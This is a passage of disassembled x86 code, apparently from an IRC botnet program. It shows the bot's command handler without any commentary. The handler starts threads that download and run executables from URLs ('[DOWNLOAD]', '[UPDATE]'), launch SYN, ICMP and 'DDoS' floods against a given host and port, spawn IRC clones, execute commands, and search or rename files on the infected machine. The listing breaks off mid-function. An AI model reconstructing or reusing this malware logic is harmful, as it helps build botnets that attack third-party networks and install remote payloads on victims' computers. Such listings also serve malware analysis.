		mov	[ebp+var_B58], edi


loc_40B24C:				; CODE XREF: sub_408A18+282Cj
		push	3Fh
		push	[ebp+var_10]
		call	sub_415A90
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jz	short loc_40B286
		and	byte ptr [ebx],	0
		inc	ebx


loc_40B262:				; CODE XREF: sub_408A18+285Bj
		push	26h
		push	ebx
		call	sub_415A90
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_40B275
		mov	byte ptr [eax],	20h
		jmp	short loc_40B262
; ---------------------------------------------------------------------------


loc_40B275:				; CODE XREF: sub_408A18+2856j
		push	esi
		lea	eax, [ebp+var_C64]
		push	ebx
		push	eax
		call	sub_414670
		add	esp, 0Ch


loc_40B286:				; CODE XREF: sub_408A18+2844j
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_D64]
		push	eax
		call	sub_414670
		movzx	eax, [ebp+var_457]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_A0]
		mov	[ebp+var_B50], eax
		lea	eax, [ebp+var_EE4]
		push	eax
		mov	[ebp+var_EE8], esi
		call	sub_414670
		push	[ebp+var_10]
		mov	eax, [ebp+var_8]
		push	[ebp+var_C]
		mov	ebx, [ebp+var_4]
		mov	[ebp+var_B4C], eax
		lea	eax, [ebp+var_2F0]
		push	offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
		push	eax
		mov	[ebp+var_B48], ebx
		call	sub_4145E5
		push	esi
		lea	eax, [ebp+var_2F0]
		push	16h
		push	eax
		call	sub_412471
		add	esp, 34h
		mov	[ebp+var_B64], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_EE8]
		push	eax
		push	offset sub_40260A
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_B64]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B371
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aDownloadFailed ; "[DOWNLOAD]: Failed to	start transfer th"...


loc_40B33C:				; CODE XREF: sub_408A18+27A7j
					; sub_408A18+443Dj ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40B34B:				; CODE XREF: sub_408A18+27BCj
					; sub_408A18+2961j ...
		cmp	[ebp+var_8], edi
		jnz	loc_40DA31
		push	edi
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	esi
		jmp	loc_40DA29
; ---------------------------------------------------------------------------


loc_40B369:				; CODE XREF: sub_408A18+295Fj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B371:				; CODE XREF: sub_408A18+2916j
		cmp	[ebp+var_B44], edi
		jz	short loc_40B369
		jmp	short loc_40B34B
; ---------------------------------------------------------------------------


loc_40B37B:				; CODE XREF: sub_408A18+22C6j
					; sub_408A18+22DAj
		push	7Fh
		pop	esi
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_18D4]
		push	eax
		call	sub_414670
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_1854]
		push	eax
		call	sub_414670
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_414670
		push	esi
		push	[ebp+var_A0]
		lea	eax, [ebp+var_1754]
		push	eax
		call	sub_414670
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		push	[ebp+var_10]
		mov	ebx, [ebp+var_4]
		push	[ebp+var_C]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_16CC],	eax
		lea	eax, [ebp+var_2F0]
		push	offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
		push	eax
		mov	[ebp+var_16D0],	ebx
		mov	[ebp+var_18D8],	edi
		call	sub_4145E5
		add	esp, 44h
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Ch
		push	eax
		call	sub_412471
		add	esp, 0Ch
		mov	[ebp+var_16D4],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_18D8]
		push	eax
		push	offset sub_411540
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_16D4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B45B
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aSynFailedToSta ; "[SYN]: Failed	to start flood thread, er"...
		jmp	loc_40B54C
; ---------------------------------------------------------------------------


loc_40B453:				; CODE XREF: sub_408A18+2A49j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B45B:				; CODE XREF: sub_408A18+2A28j
		cmp	[ebp+var_16C8],	esi
		jz	short loc_40B453
		jmp	loc_40B55B
; ---------------------------------------------------------------------------


loc_40B468:				; CODE XREF: sub_408A18+228Aj
					; sub_408A18+229Ej ...
		push	7Fh
		pop	esi
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_1B64]
		push	eax
		call	sub_414670
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_1AE4]
		push	eax
		call	sub_414670
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A64]
		push	eax
		call	sub_414670
		push	esi
		push	[ebp+var_A0]
		lea	eax, [ebp+var_19E4]
		push	eax
		call	sub_414670
		push	20h
		push	[ebp+var_1C]
		lea	eax, [ebp+var_1964]
		push	eax
		call	sub_414670
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		push	[ebp+var_10]
		mov	ebx, [ebp+var_4]
		push	[ebp+var_C]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_18E0],	eax
		lea	eax, [ebp+var_2F0]
		push	offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for	%s second"...
		push	eax
		mov	[ebp+var_18E4],	ebx
		mov	[ebp+var_1B6C],	edi
		call	sub_4145E5
		add	esp, 50h
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Bh
		push	eax
		call	sub_412471
		add	esp, 0Ch
		mov	[ebp+var_1B68],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1B6C]
		push	eax
		push	offset sub_40253C
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_1B68]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B581
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aDdosFailedToSt ; "[DDoS]: Failed to start flood	thread,	e"...


loc_40B54C:				; CODE XREF: sub_408A18+26AAj
					; sub_408A18+2A36j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40B55B:				; CODE XREF: sub_408A18+26BFj
					; sub_408A18+2A4Bj ...
		cmp	[ebp+var_8], esi
		jnz	loc_40DA31
		push	esi
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	edi
		jmp	loc_40DA29
; ---------------------------------------------------------------------------


loc_40B579:				; CODE XREF: sub_408A18+2B6Fj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B581:				; CODE XREF: sub_408A18+2B26j
		cmp	[ebp+var_18DC],	esi
		jz	short loc_40B579
		jmp	short loc_40B55B
; ---------------------------------------------------------------------------


loc_40B58B:				; CODE XREF: sub_408A18+2262j
					; sub_408A18+2276j
		push	7Fh
		push	[ebp+var_C]
		lea	eax, [ebp+var_141C]
		push	eax
		call	sub_414670
		push	[ebp+var_10]
		call	sub_414972
		push	3Fh
		push	[ebp+arg_0]
		mov	[ebp+var_12CC],	eax
		lea	eax, [ebp+var_139C]
		push	eax
		call	sub_414670
		mov	ebx, [ebp+ebx+var_98]
		xor	esi, esi
		add	esp, 1Ch
		cmp	ebx, esi
		jz	short loc_40B5DD
		push	3Fh
		lea	eax, [ebp+var_135C]
		push	ebx
		push	eax
		call	sub_414670
		add	esp, 0Ch


loc_40B5DD:				; CODE XREF: sub_408A18+2BB1j
		lea	eax, [ebp+var_139C]
		push	eax
		push	[ebp+var_12CC]
		lea	eax, [ebp+var_141C]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
		push	eax
		mov	[ebp+var_12C8],	1
		call	sub_4145E5
		push	esi
		lea	eax, [ebp+var_2F0]
		push	18h
		push	eax
		call	sub_412471
		add	esp, 20h
		mov	[ebp+var_12C4],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1420]
		push	eax
		push	offset sub_4088B9
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_12C4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B66C
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
		jmp	loc_40C42E
; ---------------------------------------------------------------------------


loc_40B664:				; CODE XREF: sub_408A18+2C5Aj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B66C:				; CODE XREF: sub_408A18+2C39j
		cmp	[ebp+var_12C0],	esi
		jz	short loc_40B664
		jmp	loc_40C43D
; ---------------------------------------------------------------------------


loc_40B679:				; CODE XREF: sub_408A18+2228j
					; sub_408A18+223Cj
		push	[ebp+var_10]
		call	sub_414972
		mov	ebx, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_1538],	eax
		jle	loc_40B778
		push	[ebp+var_C]
		mov	esi, 80h
		lea	eax, [ebp+var_16C0]
		push	esi
		push	eax
		call	sub_41483D
		push	[ebp+var_A0]
		xor	eax, eax
		cmp	[ebp+var_44A], al
		push	esi
		setnz	al
		mov	[ebp+var_16C4],	ebx
		mov	[ebp+var_1534],	eax
		lea	eax, [ebp+var_15C0]
		push	eax
		call	sub_41483D
		push	[ebp+var_10]
		mov	eax, [ebp+var_4]
		push	[ebp+var_C]
		mov	[ebp+var_1530],	eax
		mov	eax, [ebp+var_8]
		push	offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s	seconds."
		mov	[ebp+var_152C],	eax
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D
		push	edi
		lea	eax, [ebp+var_2F0]
		push	0Eh
		push	eax
		call	sub_412471
		add	esp, 38h
		mov	[ebp+var_1540],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_16C4]
		push	eax
		push	offset sub_405367
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_1540]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B76E
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood	thread,	e"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	short loc_40B78B
; ---------------------------------------------------------------------------


loc_40B766:				; CODE XREF: sub_408A18+2D5Cj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B76E:				; CODE XREF: sub_408A18+2D2Fj
		cmp	[ebp+var_1528],	edi
		jz	short loc_40B766
		jmp	short loc_40B78B
; ---------------------------------------------------------------------------


loc_40B778:				; CODE XREF: sub_408A18+2C77j
		lea	eax, [ebp+var_2F0]
		push	offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood	time must be grea"...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_40B78B:				; CODE XREF: sub_408A18+2D4Cj
					; sub_408A18+2D5Ej
		cmp	[ebp+var_8], edi
		jnz	loc_40DA31
		push	edi
		push	[ebp+var_4]


loc_40B798:				; CODE XREF: sub_408A18+5695j
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	ebx
		jmp	loc_40DA29
; ---------------------------------------------------------------------------


loc_40B7AB:				; CODE XREF: sub_408A18+2200j
					; sub_408A18+2214j
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	ds:dword_4200F4	; MoveFileA
		test	eax, eax
		jz	short loc_40B7DF
		push	[ebp+var_10]
		lea	eax, [ebp+var_2F0]
		push	[ebp+var_C]
		push	offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 14h
		jmp	loc_40DA0E
; ---------------------------------------------------------------------------


loc_40B7DF:				; CODE XREF: sub_408A18+2DA1j
		push	offset aFile	; "[FILE]:"
		call	sub_406826
		push	eax
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 10h
		jmp	loc_40DA0E
; ---------------------------------------------------------------------------


loc_40B803:				; CODE XREF: sub_408A18+21D8j
					; sub_408A18+21ECj
		push	[ebp+var_C]
		lea	eax, [ebp+var_1230]
		push	104h
		push	eax
		call	sub_41483D
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_14], esi
		jz	short loc_40B841
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4150B0
		cmp	eax, esi
		pop	ecx
		pop	ecx
		jz	short loc_40B841
		push	eax
		lea	eax, [ebp+var_112C]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_40B841:				; CODE XREF: sub_408A18+2E07j
					; sub_408A18+2E18j
		push	[ebp+var_A0]
		lea	eax, [ebp+var_12B0]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_12B4],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1024],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1020],	eax
		lea	eax, [ebp+var_112C]
		push	eax
		lea	eax, [ebp+var_1230]
		push	eax
		push	offset aFindfileSear_0 ; "[FINDFILE]: Searching	for file: %s in: "...
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Ch
		push	eax
		call	sub_412471
		add	esp, 2Ch
		mov	[ebp+var_1028],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_12B4]
		push	eax
		push	offset sub_4030CB
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_1028]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B906
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aFindfileFailed ; "[FINDFILE]: Failed to	start search thre"...


loc_40B8EA:				; CODE XREF: sub_408A18+4168j
					; sub_408A18+4EFBj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_40DA31
; ---------------------------------------------------------------------------


loc_40B8FE:				; CODE XREF: sub_408A18+2EF4j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B906:				; CODE XREF: sub_408A18+2EC4j
		cmp	[ebp+var_101C],	esi
		jz	short loc_40B8FE
		jmp	loc_40DA31
; ---------------------------------------------------------------------------


loc_40B913:				; CODE XREF: sub_408A18+21B0j
					; sub_408A18+21C4j
		push	11h
		pop	ecx
		push	[ebp+var_C]
		xor	eax, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_400]
		rep stosd
		inc	ebx
		xor	esi, esi
		mov	[ebp+var_400], 44h
		mov	[ebp+var_3D4], ebx
		mov	word ptr [ebp+var_3D0],	si
		call	sub_414972
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_40B952
		mov	word ptr [ebp+var_3D0],	5


loc_40B952:				; CODE XREF: sub_408A18+2F2Fj
		cmp	[ebp+var_14], esi
		jz	loc_40C43D
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4150B0
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jz	loc_40C43D
		lea	eax, [ebp+var_9A0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	esi
		push	esi
		push	30h
		push	ebx
		push	esi
		push	esi
		push	edi
		push	esi
		call	ds:dword_420038	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40B9AB
		push	offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	loc_40C43D
; ---------------------------------------------------------------------------


loc_40B9AB:				; CODE XREF: sub_408A18+2F7Fj
		push	edi
		push	offset aExecCommandsS ;	"[EXEC]: Commands: %s"
		jmp	loc_40C434
; ---------------------------------------------------------------------------


loc_40B9B6:				; CODE XREF: sub_408A18+2188j
					; sub_408A18+219Cj
		mov	edi, [ebp+var_10]
		mov	esi, offset aBot016 ; "Bot016"


loc_40B9BE:				; CODE XREF: sub_408A18+2FC2j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_40B9E0
		test	al, al
		jz	short loc_40B9DC
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_40B9E0
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40B9BE


loc_40B9DC:				; CODE XREF: sub_408A18+2FB0j
		xor	eax, eax
		jmp	short loc_40B9E5
; ---------------------------------------------------------------------------


loc_40B9E0:				; CODE XREF: sub_408A18+2FACj
					; sub_408A18+2FBAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40B9E5:				; CODE XREF: sub_408A18+2FC6j
		test	eax, eax
		mov	edi, [ebp+arg_4]
		jz	loc_40BB58
		lea	eax, [ebp+var_AB0]
		push	eax
		push	104h
		call	ds:dword_4200D0	; GetTempPathA
		push	0FFh
		push	[ebp+var_C]
		lea	eax, [ebp+var_E64]
		push	eax
		call	sub_414670
		lea	eax, [ebp+var_9AC]
		push	eax
		call	sub_40FA49
		push	eax
		lea	eax, [ebp+var_AB0]
		push	eax
		lea	eax, [ebp+var_D64]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4145E5
		mov	eax, [ebp+ebx+var_9C]
		xor	esi, esi
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_B60], 1
		mov	[ebp+var_B5C], esi
		jz	short loc_40BA6F
		push	10h
		push	esi
		push	eax
		call	sub_415409
		add	esp, 0Ch
		mov	[ebp+var_B54], eax
		jmp	short loc_40BA75
; ---------------------------------------------------------------------------


loc_40BA6F:				; CODE XREF: sub_408A18+3041j
		mov	[ebp+var_B54], esi


loc_40BA75:				; CODE XREF: sub_408A18+3055j
		mov	ebx, [ebp+ebx+var_98]
		cmp	ebx, esi
		jz	short loc_40BA8F
		push	ebx
		call	sub_414972
		pop	ecx
		mov	[ebp+var_B58], eax
		jmp	short loc_40BA95
; ---------------------------------------------------------------------------


loc_40BA8F:				; CODE XREF: sub_408A18+3066j
		mov	[ebp+var_B58], esi


loc_40BA95:				; CODE XREF: sub_408A18+3075j
		movzx	eax, [ebp+var_457]
		push	7Fh
		push	[ebp+var_A0]
		mov	[ebp+var_B50], eax
		lea	eax, [ebp+var_EE4]
		push	eax
		mov	[ebp+var_EE8], edi
		call	sub_414670
		mov	eax, [ebp+var_4]
		push	[ebp+var_C]
		mov	[ebp+var_B48], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B4C], eax
		lea	eax, [ebp+var_2F0]
		push	offset aUpdateDownload ; "[UPDATE]: Downloading	update from: %s."
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_2F0]
		push	17h
		push	eax
		call	sub_412471
		add	esp, 24h
		mov	[ebp+var_B64], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_EE8]
		push	eax
		push	offset sub_40260A
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_B64]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40BB4E
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	short loc_40BB6D
; ---------------------------------------------------------------------------


loc_40BB46:				; CODE XREF: sub_408A18+313Cj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40BB4E:				; CODE XREF: sub_408A18+310Fj
		cmp	[ebp+var_B44], esi
		jz	short loc_40BB46
		jmp	short loc_40BB6D
; ---------------------------------------------------------------------------


loc_40BB58:				; CODE XREF: sub_408A18+2FD2j
		lea	eax, [ebp+var_2F0]
		push	offset aUpdateUpToDate ; "[UPDATE]: Up to Date"
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		xor	esi, esi


loc_40BB6D:				; CODE XREF: sub_408A18+312Cj
					; sub_408A18+313Ej
		cmp	[ebp+var_8], esi
		jnz	loc_40A140
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	edi
		jmp	loc_40A138
; ---------------------------------------------------------------------------


loc_40BB8D:				; CODE XREF: sub_408A18+2160j
					; sub_408A18+2174j
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset dword_427964
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_408C96
		cmp	[ebp+var_14], eax
		jz	loc_408C96
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4150B0
		push	eax
		push	[ebp+var_A0]
		lea	eax, [ebp+var_2F0]
		push	[ebp+var_A4]
		push	[ebp+var_A8]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_4145E5
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414670
		push	[ebp+var_C]
		call	sub_414972
		add	esp, 30h
		test	eax, eax
		jle	short loc_40BC16
		push	[ebp+var_C]
		call	sub_414972
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_420000	; Sleep


loc_40BC16:				; CODE XREF: sub_408A18+31E6j
		push	offset aMainDelay_ ; "[MAIN]: Delay."
		call	sub_401EFF
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40BC2A:				; CODE XREF: sub_408A18+2138j
					; sub_408A18+214Cj
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset dword_427964
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_408C96
		cmp	[ebp+var_14], eax
		jz	loc_40E538
		mov	esi, [ebp+var_10]
		push	esi
		push	[ebp+var_14]
		call	sub_4150B0
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	7
		inc	esi
		pop	ecx
		xor	eax, eax
		mov	edi, offset aRepeat ; "repeat"
		repe cmpsb
		lea	eax, [ebp+var_2F0]
		push	ebx
		jz	short loc_40BCE4
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	[ebp+var_A8]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_4145E5
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414670
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	offset aMainRepeatS ; "[MAIN]: Repeat: %s"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		push	[ebp+var_C]
		call	sub_414972
		add	esp, 38h
		test	eax, eax
		jle	loc_40E538
		push	[ebp+var_C]
		call	sub_414972
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40BCE4:				; CODE XREF: sub_408A18+3257j
		push	offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in	command	l"...
		jmp	loc_40C24E
; ---------------------------------------------------------------------------


loc_40BCEE:				; CODE XREF: sub_408A18+2110j
					; sub_408A18+2124j
		push	[ebp+var_10]
		lea	eax, [ebp+var_2F0]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_4145E5
		push	[ebp+var_C]
		call	sub_414972
		add	esp, 10h


loc_40BD0D:				; CODE XREF: sub_408A18+3362j
		test	eax, eax
		jle	loc_40E538
		push	[ebp+var_C]
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538


loc_40BD29:				; CODE XREF: sub_408A18+3B9Bj
		lea	eax, [ebp+var_2F0]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	[ebp+var_C]
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056B0
		jmp	loc_40D6BD
; ---------------------------------------------------------------------------


loc_40BD54:				; CODE XREF: sub_408A18+20E8j
					; sub_408A18+20FCj
		push	[ebp+ebx+var_9C]
		lea	eax, [ebp+var_2F0]
		push	[ebp+var_10]
		push	offset aJoinSS	; "JOIN	%s %s"
		push	eax
		call	sub_4145E5
		push	[ebp+var_C]
		call	sub_414972
		add	esp, 14h
		jmp	short loc_40BD0D
; ---------------------------------------------------------------------------


loc_40BD7C:				; CODE XREF: sub_408A18+20C0j
					; sub_408A18+20D4j
		push	[ebp+var_10]
		lea	eax, [ebp+var_2F0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_4145E5
		mov	esi, [ebp+var_C]
		push	esi
		call	sub_414972
		add	esp, 10h
		test	eax, eax
		jle	loc_40E538
		push	esi
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538
		lea	eax, [ebp+var_2F0]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	esi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056B0
		push	[ebp+var_10]
		push	esi
		push	offset aCloneNickSS ; "[CLONE]:	Nick (%s): %s"


loc_40BDE3:				; CODE XREF: sub_408A18+3456j
					; sub_408A18+34C5j ...
		call	sub_401F73
		jmp	loc_40D37F
; ---------------------------------------------------------------------------


loc_40BDED:				; CODE XREF: sub_408A18+2098j
					; sub_408A18+20ACj
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40BE1F
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40BE1F:				; CODE XREF: sub_408A18+33F0j
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	loc_40E538
		push	edi
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538
		lea	eax, [ebp+var_2F0]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056B0
		push	esi
		push	edi
		push	offset aCloneModeSS ; "[CLONE]:	Mode (%s): %s"
		jmp	loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BE73:				; CODE XREF: sub_408A18+2070j
					; sub_408A18+2084j
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40E538
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	loc_40E538
		push	edi
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538
		push	esi
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056B0
		push	esi
		push	edi
		push	offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
		jmp	loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BEE2:				; CODE XREF: sub_408A18+2048j
					; sub_408A18+205Cj
		cmp	[ebp+var_14], 0
		jz	loc_40E538
		push	[ebp+var_C]
		push	[ebp+var_14]
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40E538
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	esi
		push	offset aMainModeChange ; "[MAIN]: Mode change: %s"
		jmp	loc_40C7AD
; ---------------------------------------------------------------------------


loc_40BF1C:				; CODE XREF: sub_408A18+2020j
					; sub_408A18+2034j
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset dword_427964
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_408C96
		push	[ebp+var_10]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	[ebp+var_C]
		call	sub_414972
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_420000	; Sleep
		push	[ebp+ebx+var_9C]
		push	[ebp+var_10]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	offset aMainCycle_ ; "[MAIN]: Cycle."
		call	sub_401EFF
		jmp	loc_40C7B2
; ---------------------------------------------------------------------------


loc_40BF82:				; CODE XREF: sub_408A18+1FF8j
					; sub_408A18+200Cj
		cmp	[ebp+var_14], 0
